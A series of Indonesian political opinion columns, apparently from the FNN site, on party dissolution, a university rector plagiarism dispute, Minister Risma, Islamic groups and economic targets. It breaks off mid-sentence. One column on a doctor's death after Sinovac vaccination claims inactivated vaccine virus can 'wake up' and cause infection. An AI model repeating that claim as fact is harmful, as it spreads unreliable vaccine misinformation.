by M Rizal Fadillah Bandung FNN - Jika Hizbut Tahrir Indonesia (HTI) dengan alasan ideologi, Front Pembela Islam (FPI) soal administrasi dan anggota yang terlibat terorisme, maka Partai demokrasi Indonesia Perjuangan (PDIP) yang beralasan ideologi dan terlibat korupsi juga patut untuk dibubarkan. Asas keadilan dan kesamaan di depan hukum mesti ditegakkan pemerintah. Hanya dengan "pernyataan" berbingkai hukum, maka HTI dan FPI dibubarkan. Kalau HTI dibubarkan melalui Peraturan Pemerintah Pengganti Undang-Undang (Perppu). Sedangkan dan FPI dibubarkan melalui Surat Keputusna Bersama (SKB) enam menteri dan pejabat tinggi negara. Keenam pejabat tersebut adalah Menteri Dalam Negeri, Menteri Hukum dan Hak Asasi Manusia, Menteri Komunikasi dan Informatika, Jaksa Agung, Kapolri dan Kepala Badan Nasional Penggulangan Terorisme (BNPT). HTI dan FPI, keduanya dibubarkan tanpa melalui proses peradilan. Suatu proses yang seharusnya dilalui untuk tegaknya keadilan dan kepastian hukum. Sementara PDIP selain persoalan ideologi, juga kadernya terbanyak terlibat korupsi diantara partai-partai politik. PDIP pun kini didesak banyak pihak untuk dibubarkan dengan tiga alasan utama. Pertama, menjadi sponsor utama Rancangan Undang-Undang Haluan Ideologi pancasila (RUU HIP) yang jelas-jelas keberatan untuk mencantumkan Tap MPRS No.XXV/MPRS/1966 Tentang Pembubaran PKI, dimana PKI dinyatakan sebagai Organisasi Terlarang dan Larangan untuk Menyebarkan Faham Komunisme/Marxisme-Leninisme. PDIP juga banyak menampung kader-kader berhaluan kiri yang membela PKI dan faham komunisme. Kedua, PDIP menjadikan Trisila dan Ekasila sebagai misi perjuangan Partai. Ini artinya secara sadar atau tidak, telah merongrong kewibawaan ideologi Pancasila. Disamping itu, Pancasila menurut versi PDIP adalah rumusan 1 Juni 1945. Bukan rumusan kesepakatan 18 Agustus 1945. Ini sama saja dengan makar kepada Pancasila itu sendiri (vide Mukadimah Aanggaran Dasar (AD) PDIP, khususnya alinea ketiga dan Pasal 6 ayat 2 AD PDIP). Ketiga, banyak kader yang terjerat kasus korupsi, sehingga PDIP adalah partai politik yang menyumbang pelaku korupsi terbesar di negara Republik Indonesia. Kasus terakhir adalah korupsi dana Bantuan Sosial (Bansos) Menteri Sosial Juliari Peter Batubara yang juga bakal menyeret kader-kader PDIP lainnya. Sangat dahsyat dan brutal merampok uang rakyat di masa pandemi covid-19. Ketika, penguasa negara mengarahkan pembubaran organisasi kepada aspirasi keumatan, maka wajar muncul desakan bahwa yang lebih pantas dan layak untuk dibubarkan adalah PDIP. Tentu sepanjang partai ini belum mau melakukan perubahan platform perjuangan maupun perilaku mental dan moral para kadernya yang hobby melakukan tindak pidana korupsi. Awalnya PDIP adalah partai yang merakyat dengan slogan partai "wong cilik". Namun kini setelah menjadi "the ruling party", karakter PDIP berubah menjadi partau politik yang elitis. Bahkan cenderung kurang peka dengan penderitaan yang dialami oleh rakyat. Kemenangan Pemilu bukanlah ukuran kepercayaan rakyat yang sesungguhnya. Terutama pada iklim politik yang pragmatis dan kapitalistik. Jadi teringat kepada pidato Ketum Partai Nasdem Surya Paloh di depan Civitas Akademica Universitas Indonesia dan Ikatan Alumni Universitas Indonesia (ILUNI) beberapa waktu yang lalu. Surya Paloh berpidato dengan menggebu-gebu dan menyatakan bahwa "kita ini malu-malu kucing untuk mendeklarasikan diri kalau Indonesia hari ini adalah negara kapitalis yang sangat liberal. Itulah kenyataan Indonesia yang hari ini". Kompetisi "wani piro" berujung pada melahirkan pejabat negara yang bermental maling atau korup. PDIP tak mampu menepis kultur ini. Bahkan kini kader-kader PDIP tampil menempati posisi terdepan, dan menjadi juara satu partai dengan kader paling banyak melakukan tindak pidana korupsi diantara parati-partai politik yang ada di tanah air. Penulis adalah Pemerhati Politik dan Kebangsaan.

Plt Sekjen Kemendikbud Mau Tempuh “Jalan Belakang” Lantik Plagiator Menjadi Rektor USU

by Asyari Usman Medan, FNN - Pelaksana Tugas (Plt) Sekretaris Jenderal Kemendikbud, Ainun Na’im, mengeluarkan surat yang mengatasnamakan Menteri. Surat itu sangat penting. Yaitu, perintah pelantikan rektor terpilih USU, Dr Muryanto Amin, yang terbukti melakukan otoplagiasi (self-plagiarism). Surat bernomor 4607/MPK.A/RHS/KP/2021 tertanggal 22 Januari 2021 itu ditujukan kepada Majelis Wali Amanah (MWA) Universitas Sumatera Utara (USU). Isinya, memberitahukan sekaligus memerintahkan pelantikan pelantikan Muryanto pada 28 Januari 2021. Pelantikan akan dilaksanakan di Jakarta. Banyak keanehan terkait penerbitan surat perintah oleh Plt Sekjen Ainun Na’im. Keanehan-keanehan itu harus diungkap karena bisa berakibat fatal bagi dunia pendidikan tinggi, khususnya tentang kejujuran ilmiah dan kehormatan USU. Pertama, Ainun Na’im adalah Plt Sekjen yang telah melewati usia kerja. Di bulan Desember 2020, Ainum telah memasuki masa pensiun eleson satu struktural. Tidak seharusnya Ainum mengeluarkan surat yang sangat penting yang berisi perintah pelantikan rektor terpilih USU yang tersangkut kasus plagiasi. Kedua, Ainum Na’im membuat tembusan surat itu ke Mendikbud. Padahal, yang mengeluarkan surat itu adalah Mendikbud sendiri yang diatasnamakan Ainun. Penerbitan surat ini pantas dicurigai sebagai upaya “jalan belakang” untuk melantik Muryanto. Orang wajar menyimpulkan, jangan-jangan Mendikbud Nadiem Makarim tidak tahu surat yang dikeluarkan Ainun. Seharusnya, paling minim surat sepenting itu ditandatangani oleh Dirjen Dikti. Bisa jadi Ainun telah mengatur skenario pelantikan buru-buru. Dia bisa saja mengatakan kepada Dirjen Dikti bahwa ini perintah Mendikbud. Padahal, Mendikbud tidak tahu detail pelantikan rektor perguruan tinggi negeri (PTN) di bawah naungan Kemendikbud yang jumlahnya 122 di seluruh Indonesia. Artinya, sangat tidak mungkin Mendikbud Nadiem Makarim memperhatikan satu per satu yang dilantik atau siapa-siapa di antara 122 rektor/direktur PTN itu yang bermasalah. Patut diduga, Ainum memanfaatkan kesibukan kerja Mendikbud itu untuk menyusupkan pelantikan Muryanto. Dugaan lainnya, bisa jadi Dirjen Dikti Porf Nizam sengaja mengelak untuk meneken surat perintah pelantikan Muryanto itu. Nizam tentu paham betul sensitivitas pelantikan ini dan kontroversi besar yang bakal muncul. Ketiga, nomor surat tsb menyertakan kode “RHS” yang lazimya berarti rahasia. Jika benar “RHS” itu adalah rahasia, tentu layak dipertanyakan. Apa yang harus dirahasiakan? Bukankah pelantikan seorang rektor adalah konsumsi publik? Keempat, kasus otoplagiasi ini telah dijatuhi sanksi oleh Rektor USU Prof Runtung Sitepu sebagai tindakan yang melanggar etka keilmuan dan moral civitas akademika. Rektor telah memutuskan bahwa Muryanto terbukti secara sah dan meyakinkan, dengan sengaja dan berulang, melakukan perbuatan plagiarisme (plagiasi/plagiat) dalam bentuk ‘self-plagiarism’ atau otoplagiasi (plagiasi karya tulis sendiri). Keputusan Rektor ini diambil berdasarkan penyelidikan cermat yang dilakukan oleh tim Komite Etik USU. Rektor juga menjatuhkan hukuman penundaan kenaikan pangkat selama satu tahun. Juga hukuman untuk mengembalikan insentif bagi penerbitan tulisan Muryanto yang berkonten plagiat di jurnal Man in India edisi September 2017. Artinya, surat yang diterbitkan Ainun Na’im tidak menghiraukan keputusan Rektor USU yang diambil berdasarkan hasil penyelidikan saksama oleh tim Komite Etik. Dari keempat kenehan ini saja –tentu ada lagi kanehan-keanehan lain— sangat pantas ditengarai bahwa Ainun seakan sedang memanfaatkan ‘menit-menit terakhir’ jabatannya sebagai Plt Sekjen Kemendikbud. MWA USU harus dan bisa mempertanyakan surat perintah yang ditandatangani Ainun. MWA sebaiknya menghubungi langsung Menidikbud dan Dirjen Dikti. MWA tidak bisa melangkahi keputusan Rektor USU terkait otoplagiasi Muryanto. Sebab, di masa lalu sudah pernah dijatuhi hukuman otoplagiasi terhadap dua dosen USU. Yaitu, otoplagiasi yang terbukti dilakukan oleh Dr Maulida ST MSc pada 2013 (SK Rektor No 30/UN5.1.R/SK/SDM/2103). Kemudian, otoplagiasi yang terbukti dilakukan oleh Drs Arifin Lubis MM Ak pada 2015 (SK Rektor No 149/UN5.1.R/SK/SDM/2015). Menurut berbagai sumber berita, Dr Muryanto Amin menolak tuduhan bahwa dia telah melakukan otoplagiasi. Dia mengatakan, otoplagiasi tidak diatur oleh produk UU atau peraturan yang terkait dengan pendidikan tinggi. Selain itu, Muryanto menjelaskan bahwa dua artikel yang diakuinya bermasalah, diterbitkan oleh jurnal The Social Sciences (Agustus 2017) dan International Journal of Scientific Research and Management (Januari 2018) karena kelalaian editor di kedua jurnal itu. Mayoritas anggota Dewan Guru Besar (DGB) USU dikabarkan tidak akan menerima pelantikan Muryanto menjadi rektor. Bagi mereka, plagiat adalah kesalahan fatal di dunia akademis. Kesalahan yang tak bisa dimaafkan. Plagiator menjadi pimpinan lembaga keilmuan yang berbasis kejujuran dan integritas moral, akan mencoreng USU. Merendahkan martabat. Dan akan menjadi beban psikologis yang sangat berat. USU bukan enitas politik yang bisa dikompromikan.[] Penulis adalah Wartawan Senior FNN.co.id.

Tri Risma, Tiga Menguak Takdir

TIGA Menguak Takdir di sini bukan buku kumpulan puisi tiga sastrawan legendaris, Chairil Anwar, Asrul Sani dan Rivai Apin. Akan tetapi, tentang sosok Risma dan pejabat lainnya yang ternyata ditakdirkan sebagai pejabat unik, lucu, dan kasihan. Unik karena sosok Tri Rismaharini selalu menjadi perbincangan. Lucu karena, meski perempuan, tingkahnya enerjik, sepak terjangnya apik. Kasihan karena ia selalu menjadi sorotan kamera ke mana pun melangkah. Ia dicitrakan sebagai pendobrak, tahan banting, dan manusia paling peduli. Maka, ia dituntut untuk selalu memproduksi kehebohan demi kehebohan. Ia harus menampilkan peran itu secara kaffah, total. Tanpa rasa malu. Saat menjadi Wali Kota Surabaya Risma tak pernah sepi heboh. Dari heboh soal mencaci-maki stafnya yang tak becus memprogram komputer hingga heboh mengatur lalu lintas di tengah hujan. Jika cuma menyapu jalanan adalah hal yang biasa. Masyarakat Surabaya sudah mafhum. "Wali kota edan kok," begitu komen arek Suroboyo bercanda. Risma juga membikin heboh saat meninjau banjir di salah satu sudut Kota Surabaya. Dia katakan banjir itu disebabkan oleh air yang sedang mengantre masuk selokan. Pernyataan ini serius, bukan sedang berkelakar. Wajar jika kemudian warganet pun heboh memberi komentar. Di media sosial, Risma dibully habis. Logikanya tentang banjir mengejek akal sehat. Pun demikian, Risma tetap melaju kencang dengan kehebohannya, tak peduli salah atau melanggar kepatutan. Kehebohan kedua adalah ketika Risma berkomentar soal erupsi Gunung Semeru yang disebabkan oleh global warming (pemanasan global). Komentar konyol ini melahirkan cibiran masyarakat. Bagaimana hubungan pemanasan global dengan gunung meletus? “Gunungnya gak pakai rumah kaca sih,” begitu salah satu komentar. Kehebohan berikutnya, saat Risma ditugasi Jokowi sebagai Menteri Sosial. Minggu pertama menggantikan posisi Juliari Peter Batubara yang ditangkap KPK karena korupsi dana bantuan sosial (Bansos), Risma langsung bikin gebrakan. Aksi heroik Risma adalah menyantuni gelandangan yang mengemis di Jalan Sudirman Jakarta. Dalam dialog dengan gelandangan, Risma berjanji akan membelikan rumah. Dermawan sekali. Tapi apakah tawaran itu membuat masyarakat berdecak kagum? Tidak. Yang terjadi justru, masyarakat ramai-ramai ingin menjadi gelandangan biar dibelikan rumah oleh menteri. Tentu saja ini sindiran yang sangat menohok. Aksi petakilan Risma ini bukan melahirkan simpati masyarakat, tetapi sebaliknya, ia diserang oleh warganet sebagai tukang tipu adegan. Publik jelas menampakkan kesinisannya. Julukan drakor (drama kotor) menempel pada sosok Risma. Apalagi diketahui belakangan, ternyata pengemis yang dipasang di pinggir jalan, cuma dijadikan model belaka. Risma nyomot tukang koran yang berjualan di sekitar Manggarai. Di sini Risma ditakdirkan sebagai orang yang tidak paham situasi. Ia bermaksud meraih simpati atas tingkahnya yang sok peduli, tetapi salah setting dan salah tempat yang akhirnya salah kaprah. Ada pula yang berpendapat Risma ingin menampar wajah Gubernur Jakarta, Anies Baswedan. Dengan adegan itu, Risma ingin mengajak masyarakat ramai-ramai memojokkan Gubernur DKI Jakarta yang dianggapnya tidak peduli terhadap gelandangan yang ada di jalan protokol. Akan tetapi apa yang terjadi, justru Rismalah yang tertampar. Ia seharusnya malu telah berbuat gaduh dan naif di daerah yang belum satu bulan ia tempati. Risma tak pernah membayangkan bakal terjadi persepsi publik yang menyesalkan ulah dirinya. Sebagai orang beradab, mestinya Risma minta maaf telah melakukan sesuatu yang memalukan dirinya. Akan tetapi, permintaan maaf itu tak pernah ada. Apakah karakter pemimpin bangsa ini memang egois dan sulit meminta maaf? Risma hanyalah salah satu dari banyak pejabat di negeri ini yang agak sulit mengakui kekeliruannya. Boro-boro menyesali perilakunya lalu memperbaikinya, meminta maaf saja amat sulit. Ia tetap melenggang dengan kenaifannya. Toh, lama-lama masyarakat melupakannya. Tabiat buruk pejabat kita bertolak belakangan dengan pejabat di negara lain. Lihat saja Perdana Menteri Jepang, Shinzo Abe. Ia memilih mengundurkan diri dari jabatannya pada Jumat 28 Agustus 2020 karena sakit. Mundur dari sebuah jabatan menjadi hal yang lumrah, bahkan dianggap sebagai langkah terakhir menjaga 'kehormatan' sebagai pemimpin. Hal yang boleh dikatakan tak pernah dilakukan pemimpin di Indonesia. Michael Bates salah satu menteri utama di Inggris mengundurkan diri hanya gara-gara telat satu menit dalam sebuah rapat. Bates memilih mundur karena merasa malu atas ketidaksopanan yang telah ia lakukan. Semua peserta rapat menyatakan ketidakrelaan dan penolakan atas aksi pengunduran diri Bates ini. Menurut mereka, permintaan maaf darinya sudah cukup dan semua mengapresiasi rasa tanggung jawab besar yang dia miliki. Bayangkan kalau di Indonesia, jangankan terlambat, tidak hadir dalam rapat saja sudah menjadi hal biasa. Bahkan, di gedung parlemen kita sering melihat bangku kosong saat rapat-rapat penting, bahkan saat rapat paripurna. Masih di Inggris, mantan menteri Inggris David Blunkett, juga mengundurkan diri dengan alasan malu lantaran ketahuan membantu mantan pacarnya dalam mengurus visa. Padahal, bantuan itu berkaitan dengan kemanusiaan pengasuh bayi sang mantan pacar. Karena pingin cepat, mantan pacar David minta bantuan mengurus paspornya. Namun sayang aksi “mempercepat” visa ini sudah tercium publik, yang mengakibatkan David memilih mengundurkan diri. Di Indonesia, jangankan membantu mengurus paspor, membantu mendudukkan anak dan menantunya menjadi wali kota saja, ogah mundur. Ada saja cara untuk mencari permakluman agar tidak dipaksa mundur. Berapa jumlah pejabat Indonesia yang telah mengundurkan diri? Ada, tapi sangat sedikit, terutama yang tersangkut kasus korupsi, seperti Andi Malarangeng, Idrus Marham, dan beberapa orang lainnya. Mereka bersedia mundur jika terbukti korupsi tangkap tangan. Jika masih ada celah untuk berkilah, mereka akan gunakan jurus itu untuk tetap bercokol di pemerintahan. Pencitraan tampaknya telah menjadi ritual wajib rezim ini. Karena dengan pola inilah wajah pejabat kita akan selamat. Mereka tidak malu. Padahal rasa malu akan mencegah manusia dari perbuatan yang tidak layak dan tercela. Rasa malu membuat manusia tidak suka mengada-ada dan bertindak berlebihan. Oleh karena itu, orang yang memiliki rasa malu tidak akan pernah bermain sandiwara untuk menutupi kekurangannya. Tidak hanya Risma, banyak pejabat lain melakukannya. Sang presiden pun tak pernah lupa membangun citra. Jika citra itu dibangun atas dasar realita, tentu tidak masalah. Yang bikin mual dan eneg adalah ketika citra itu dibangun atas dasar settingan, sandiwara, dan kepalsuan. Kepalsuan itu dikemas dengan biaya mahal secara demonstratif sarkastik. Rakyat telah muak sebenar-benar muak. Benarkah pejabat di negeri ini ditakdirkan tak punya malu? **

Satu Dokter Wafat Pasca-Vaksin, Sinovac Tidak Aman?

by Mochamad Toha Surabaya, FNN - Ada yang menarik dari akun Facebook Prof. Yuwono, terkait dengan meninggalnya Dokter JF di Kota Palembang usai divaksin Covid-19 pada Kamis (14/1/2021). Ia menyebut, dokter asal Palembang yang meninggal itu adalah sahabatnya. Usianya 49 tahun. Prof. Yuwono menyebut, korban meninggal di dalam mobil. Korban tidak punya comorbid dan tidak memiliki riwayat dirawat di rumah sakit. Berikut postingan lengkap Prof Yuwono di media sosial Facebook (23 Januari pukul 09.52): ALLAHUMMAGHFIRLAHU Semalam sahabatku (dokter, 49 thn) ditemukan wafat di mobilnya. Kamis kemarin ia divaksin. Ia tidak punya comorbid & tak ada riwayat dirawat di rumah sakit. Apakah ini ada hubungannya dgn vaksin? Perlu penjelasan dari dinkes kota sebagai penanggungjawab vaksin sekaligus lembaga di mana sahabatku mengabdi. Sebagai dokter saya sdh bilang bhw pemberian vaksin atau obat apapun harus benar2 ilmiah dg jaminan safety & efficacy yg baik. Tidak ada yg kebetulan di dunia ini dan tidak ada mushibah termasuk kematian kecuali sudah digariskan oleh Allah. Manusia diberi kebebasan bersikap & bertindak sesuai dgn kapasitas keilmuannya. Karena itu saya tak jemu mengingatkan utk selalu memutuskan, bersikap & berbuat berdasarkan ilmu bukan berdasar kepentingan. Moga para pemimpin bijak dalam hal apapun krn mereka akan diminta pertanggungjawabannya. “Selamat jalan sahabatku, Allah menyayangimu” Dokter forensik RS M Hasan Bhayangkara Palembang Indra Nasution mengatakan, Dokter JF meninggal pada Jumat (22/1/2021) pagi. Hal tersebut diketahui dari otot jenazah yang belum kaku. Tim forensik menemukan bintik pendarahan yang disebabkan kekurangan oksigen di daerah mata, wajah, tangan, dan dada. Temuan itu menyimpulkan dugaan penyebab kematiannya. “Diduga meninggal karena sakit jantung,” ungkap Indra. “Benar berdasarkan laporan yang bersangkutan baru saja divaksin, namun vaksin tidak ada hubungan dengan penyebab kematian. Jika akibat vaksin, pasti reaksinya lebih cepat dan matinya juga (akan) lebih cepat karena disuntikkan,” lanjutnya. Kasi Pengendalian dan Pencegahan Penyakit Menular, Dinas Kesehatan Kota Palembang, Yudhi Setiawan mengatakan, penyebab Dokter JF meninggal dunia bukan karena vaksin Covid-19, melainkan kekurangan oksigen. “Berdasarkan pemeriksaan dokter forensik, yang bersangkutan meninggal karena kekurangan oksigen. Tidak ada hubungannya dengan vaksin yang diberikan,” kata Yudhi, seperti dikutip Liputan6.com, Minggu (23/1/2021). Jasad dokter JF itu ditemukan di dalam mobil yang terparkir di salah satu minimarket di Jalan Sultan Mansyur Palembang, Jumat (22/1/2021) malam. Dokter JF memang sempat disuntik vaksin pada Kamis (21/1/2021). Setelah divaksin itu, kondisi dokter JF cukup baik dan tidak ada indikasi gangguan kesehatan. “Yang bersangkutan sehat-sehat saja (setelah divaksin). Kalau memang ada kaitannya dengan vaksin, biasa akan timbul gejala segera setelah pemberian vaksin,” terang Yudhi. Menurut akademisi dan peneliti dari Lembaga Ahlina Institute dr. Tifauzia Tyassuma, kasus serupa bakal mewarnai 2021. “Kejadian seperti ini akan mewarnai hari-hari di tahun 2021. Kejadian Ikutan Pasca Imunisasi (KIPI) akan dicatat dan dilaporkan,” katanya. “Penerima vaksin yang menjadi korban ini akan dicatat dan dilaporkan, dan yang meninggal akan dikubur,” lanjutnya. Dokter Tifa menyebut pemerintah akan sibuk mengklarifikasi demi meyakinkan masyarakat bahwa penyebab kematian itu bukan karena vaksin Covid-19. “Dan klarifikasi dari Pemerintah dan Para ProVaks hardcore akan bilang bahwa korban (itu) meninggal bukan karena Vaksinasi, tetapi karena jantung berhenti berdetak, paru tak mampu mengambil nafas, dan batang otak berhenti bekerja,” ungkap Dokter Tifa. “Pasti bukan karena Vaksin. Apalagi Vaksin China yang jelas-jelas sangat aman,” sindirnya. Yang membuat Dokter Tifa gusar sejak awal, mengapa para nakes itu diberi jatah Sinovac? “Padahal apa susahnya memesan 3 juta botol dari merk lain dengan kualitas lebih bagus?” ungkapnya. Bukan Covid? Tim forensik menemukan bintik pendarahan yang disebabkan kekurangan oksigen di daerah mata, wajah, tangan, dan dada. Jadi, Dokter JF meninggal karena kekurangan oksigen. Tidak ada hubungannya dengan vaksin yang diberikan. Begitu kesimpulan Tim Forensik RS Bhayangkara dan Dinkes Kota Palembang. Benarkah memang bukan karena akibat vaksin Sinovac yang disuntikkan pada Dokter JF? Tentunya masih perlu investigasi lebih dalam lagi. “Kita memang tidak boleh mengabaikan kasus kematian dokter yang meninggal setelah dia divaksin 1 hari sebelumnya, tetap harus diinvestigasi, untuk pelajaran di masa mendatang,” ujar seorang dokter. Tapi, coba pikirkan, dari ribuan orang nakes orang yang divaksin hanya 1 yang dilaporkan meninggal dan itupun juga belum tentu terkait langsung dengan vaksin. Tapi, kalau ribuan orang itu terinfeksi covid, berapa puluh orang yang meninggal? "Taruh misalnya, fatality rate sekitar 2,8 persen berarti 28 orang tiap seribu. Indonesia sekarang hampir 1 juta dengan kematian hampir 28 ribu orang meninggal, berarti kita sudah selamatkan banyak orang,” lanjutnya. Jadi, sekali lagi kasus kematian pasca vaksin itu harus tetap diinvestigasi, tapi tidak boleh meng-genalisir vaksin itu berbahaya. “Harus diinvestigasi pada keadaan apa vaksin itu membahayakan, sehingga ke depannya bisa dimasukkan dalam perhatian! Atau, kontra-indikasi vaksin,” tegas dokter tadi. Menurut Dokter Tifa, jalur yang dipakai virus setelah menginfeksi adalah dinding pembuluh darah bagian dalam yang disebut endothel. “Innactivated vaccine masih memiliki kemampuan menularkan,” tegasnya. Jika menyimak hasil pemeriksaan Tim Forensik atas jasad Dokter JF itu, tidak tertutup kemungkinan ia terpapar Covid-19 pasca divaksin. Logikanya, jika terpapar sebelum divaksin, pasti ia tak diizinkan ikut vaksinasi. Perlu dicatat, dengan mutasi yang begitu cepat dan semakin kuat, Covid-19 sekarang ini tidak hanya menyerang saluran pernafasan hingga masuk ke paru-paru, tapi juga mulai menyerang saluran pencernaan, sistem saraf, dan mata. Bisa jadi, seperti yang sering saya tulis, virus corona yang ditanam di vaksin itu meski sudah “dimatikan” (inaktif), suatu saat dalam suhu tertentu bisa “membangunkan” dia. Karena, ada diantara virus yang dimatikan itu masih ada yang “tidur” (dorman). Kekurangan oksigen bisa juga karena serangan Covid-19 itu lewat aliran darah, sehingga ini menyebabkan paru-paru tidak bisa menyerap oksigen secara normal. Akibatnya, darah juga kekurangan oksigen. Jadi, bisa saja bintik pendarahan yang disebabkan kekurangan oksigen di daerah mata, wajah, tangan, dan dada itu indikasi adanya Covid-19 di tubuh Dokter JF. Apalagi, seperti kata Prof Yuwono, “Ia tidak punya comorbid dan tak ada riwayat dirawat di rumah sakit!” Untuk mengetahui penyebab sebenarnya, tidak ada salahnya jika dilakukan otopsi pada jasad Dokter JF. Penulis adalah Wartawan Senior FNN.co.id.

Islam Menjadi Zona Merah Kebijakan Politik

by M. Rizal Fadillah Bandung FNN - Tanpa ada situasi yang "genting dan memaksa" melalui Peraturan Pemerintah Pengganti Undang-Undang (Perppu) Pemerintah Jokowi membubarkan Hizbut Tahrir Indonesia (HTI). Ternyata persoalan tidak selesai dengan pembubaran oragnisasi HTI semata. Disosialisasikan juga bahwa HTI adalah organisasi terlarang, sesuatu yang tidak berdasar hukum. Kacaunya lagi, tidak ada ketentuan atau pasal-pasal mengenai pelarangan HTI. Yang ada adalah politisasi menipu rakyat secara tidak fair. Pemerintah lagi-lagi memperlihatkan keangkuhan kekuasaan tanpa bersandar pada aturan-aturan hukum positif yang berlaku di negara hukum. Di kalangan umat Islam, mungkin ada atau bahkan banyak yang sangat tidak setuju dengan pola perjuangan HTI. Akan tetapi penzaliman yang berlebihan, juga tidak dapat diterima. Apalagi dengan cara-cara licik membohongi rakyat. Manipulasi hukum untuk tujuan politik. HTI bukanlah organisasi terlarang seperti Partai Komunis Indonesia (PKI) yang pelarangannya jelas-jelas tertuang dalam Ketetapan MPRS No XXV/MPRS/1966. Persoalan HTI muncul terus atau terus dimunculkan. Rancangan Undang-Undang (RUU) Pemilihan Umum ( Pemilu) yang masuk dalam Prolegnas 2021 secara eksplisit melarang eks anggota HTI untuk ikut sebagai kontestan dalam Pemilihan Legislatif (Pileg), Pemilihan Presiden (Pilpres), dan Pemilihan Kepala daerah (Pilkada). Ini bentuk kezaliman yang sangat berlebihan kepada HTI. Di Universitas Padjadjaran (UNPAD ) Bandung, dengan alasan sebagai aktivis HTI, seorang Wakil Dekan yang baru dilantik, langsung dicopot kembali. Sementara di gedung Dewan Perwakilan Rakyat (DPR), ada anggota dewan dr. Ribka Tjiptaning dari Fraksi PDIP yang dengan bangga menyatakan kepada publik bahwa “saya bangga menjadi anak PKI”. Tidak sampai disitu saja. Partai Politik seperti PDIP dengan jelas-jelas mencantumkan Trisila dan Ekasila dalam anggaran Dasar dan Anggaran Rumah Tangga. Trisila dan Ekasila mengacu pada Pancasila 1 Juni 1945 yang tahun lalu diperjuangkan dalam RUU Haluan Idelogi Pancasila (HIP) yang ditentang keras oleh umat Islam dan ormas-ormas Islam dibawah Majelis Ulama Indonesia (MUI). Pancasila 1 Juni 1945 dengan Trisila dan Ekasila sangat kental dengan Orde Lama dan faham komunis. Ini bertentangan dengan Pancasila tanggal 18 Agustus 1945 yang diakui bangsa Indonesia. Anehnya, yang yang jelas-jelas mencantumkan Trisila dan Ekasila di Anggaran Dasar dan Anggaran Rumah Tangga, malah dibiarkan hidup dengan leluasa, bahkan mengatur negara. Setelah HTI diobrak abrik, giliran Front Pembela Islam (FPI) yang kini terus dihabisi gerakannya. Setelah dibubarkan dan dilarang secara sewenang-wenang, maka kelak eks anggotanya bisa dipersekusi secara politik. Kini saja HRS sudah dibombardir dengan beragam tuduhan dan tuntutan, yang mengesankan tidak memberi kesempatan HRS untuk bernafas. Mungkin hal ini menjadi upaya yang sukses, tetapi sejarah esok bisa berbalik menghukum. Baru dua organisasi Islam yang dibubarkan. Bila agendanya adalah Islamophobia seperti Bung Karno dulu, atau pelumpuhan kekuatan-kekuatan Islam, maka usaha pembubaran akan terus berlanjut. Entah target berikutnya bisa MUI atau Partai Keadilan Sejahtera (PKS). Isu radikalisme, intoleransi hingga ekstrimisme dan terorisme fokusnya dapat diduga adalah umat Islam. Kelompok politik sekuler atau bahkan komunis dalam sejarahnya selalu anti terhadap Islam. Karena lawan terberatnya adalah Islam. Kini Islam sudah menjadi zona merah kebijakan politik. Sikap politik anti Islam tak boleh hidup di negeri Republik Indonesia. Disamping akan menghadapi perlawanan umat Islam. Sebab cara pandang seperti itu akan menjadi a historis. Negara ini didirikan oleh perjuangan dan pengorbanan kekuatan besar umat Islam. Saat harimau yang sedang tenang dalam kandang mulai diusik, ia akan gelisah. Ketika semakin terang-terangan diganggu, maka kuku-kukunya akan keluar terasah. Lalu menggeram siap untuk menerkam para pengganggunya. Penulis adalah Pemerhati Politik dan Kebangsaan.

Menanti Terobosan Ekonomi

AWALNYA, pemerintah menargetkan pertumbuhan ekonomi tahun 2021 ini sebesar 4,5 sampai 5,5 persen. Target yang disampaikan Menteri Keuangan Sri Mulyani dalam Rapat Paripurna DPR RI, Selasa, 1 September 2020 itu kemudian direvisi menjadi 4,5 sampai 5 persen, pada awal Januari 2021. Merevisi sebuah target pertumbuhan ekonomi nasional adalah sesuatu yang wajar dilakukan. Apalagi di tengah gonjang-ganjing ekonomi global yang masih belum menentu akibat corona virus disease 2019 (Covid-19). Tidak ada kepastian kapan pandemi ini berakhir. Seiring dengan itu, tidak ada kepastian ekonomi global membaik atau pulih seperti semula. Harapan tetap ada, walaupun hal itu masih jauh dari kenyataan. Revisi target pertumbuhan telah dilakukan. Target pertumbuhan ekonomi yang baru itu tetap menunjukkan sikap optimis. Bahkan, angka itu terlalu ambisius, mengingat pertumbuhan tahun 2020 yang berkisar minus 1,7 persen sampai minus 2,2 persen. Biar bagaimanapun, sikap optimistis harus ditunjukkan pengelola negara kepada rakyatnya. Sebab, jika pemerintah pesimistis, apalagi putus harapan, bisa diperkirakan berdampak lebih buruk bagi rakyat. Revisi dan sikap optimistis bisa disatukan dengan kerja keras semua pihak. Namun, yang pasti ujung tombak keberhasilannya kembali kepada pemerintah dalam mengelola negara dan berbagai aspeknya. Pemerintah dituntut memberikan arahan yang jelas dan tegas, sehingga fokus pengelolaan ekonomi tidak melenceng. Diperlukan kebijakan ekonomi yang benar-benar hebat dalam menyapu berbagai kendala yang dihadapi. Kebijakan ekonomi tidak perlu dikeluarkan berjilid-jilid. Ingat, di masa pemerintahan Joko Widodo-Jusuf Kalla (2014-2019), ada 16 jilid kebijakan ekonomi yang dikeluarkan pemerintah. Harapannya, pertumbuhan ekonomi bisa tujuh persen sesuai janji kampanyenya. Akan tetapi, kebijakan itu hanya mampu menahan agar pertumbuhan ekonomi tida melorot di bawah lima persen. Kesalahan dalam mengambil kebijakan ekonomi bisa berakibat fatal. Bisa-bisa berakibat semakin tertekannya kehidupan masyarakat. Jika tekanan kehidupan masyarakat semakin dalam, semakin susah, tidak menutup kemungkinan keresahan sosial terjadi. Akibatnya bisa diprediksi. Pemerintahan yang sudah goyang, akan terus digoyang. Keresahan sosial bisa menjadi gejolak sosial yang berujung dapat menjatuhkan pemerintah. Menurut kalangan ekonom, terutama ekonom Amerika Serikat, jika suatu pemerintah membuat kebijakan ekonomi dalam masa pandemi sama dengan kebijakan ekonomi sebelum pandemi, maka pemerintahan itu menjadi bagian dari masalah, bukan pemecah masalah. Hal tersebut menunjukkan di masa pandemi, masalah utama terletak pada efektivitas kepemimpinan, kebijakan, dan agenda pemerintahan. Ini menegaskan bahwa kewibawaan pemerintah, terutama presiden dipertaruhkan pada saat sekarang, ketika Covid-19 masih mengganas. Yang dapat dibaca sekarang, pemerintah masih mempertontonkan drama berseri kepada rakyat. Mulai dari drama ketidaktegasan pemerintah melakukan lockdown, drama tambahan utang yang terus-menerus, drama pembangunan infrastruktur, dan drama korupsi dana bantuan sosial yang melibatkan Juliari Peter Batubara, Menteri Sosial pada Kabinet Kerja Jokowi. Termasuk drama penegakan hukum yang tidak adil. Rakyat sudah mulai bosan 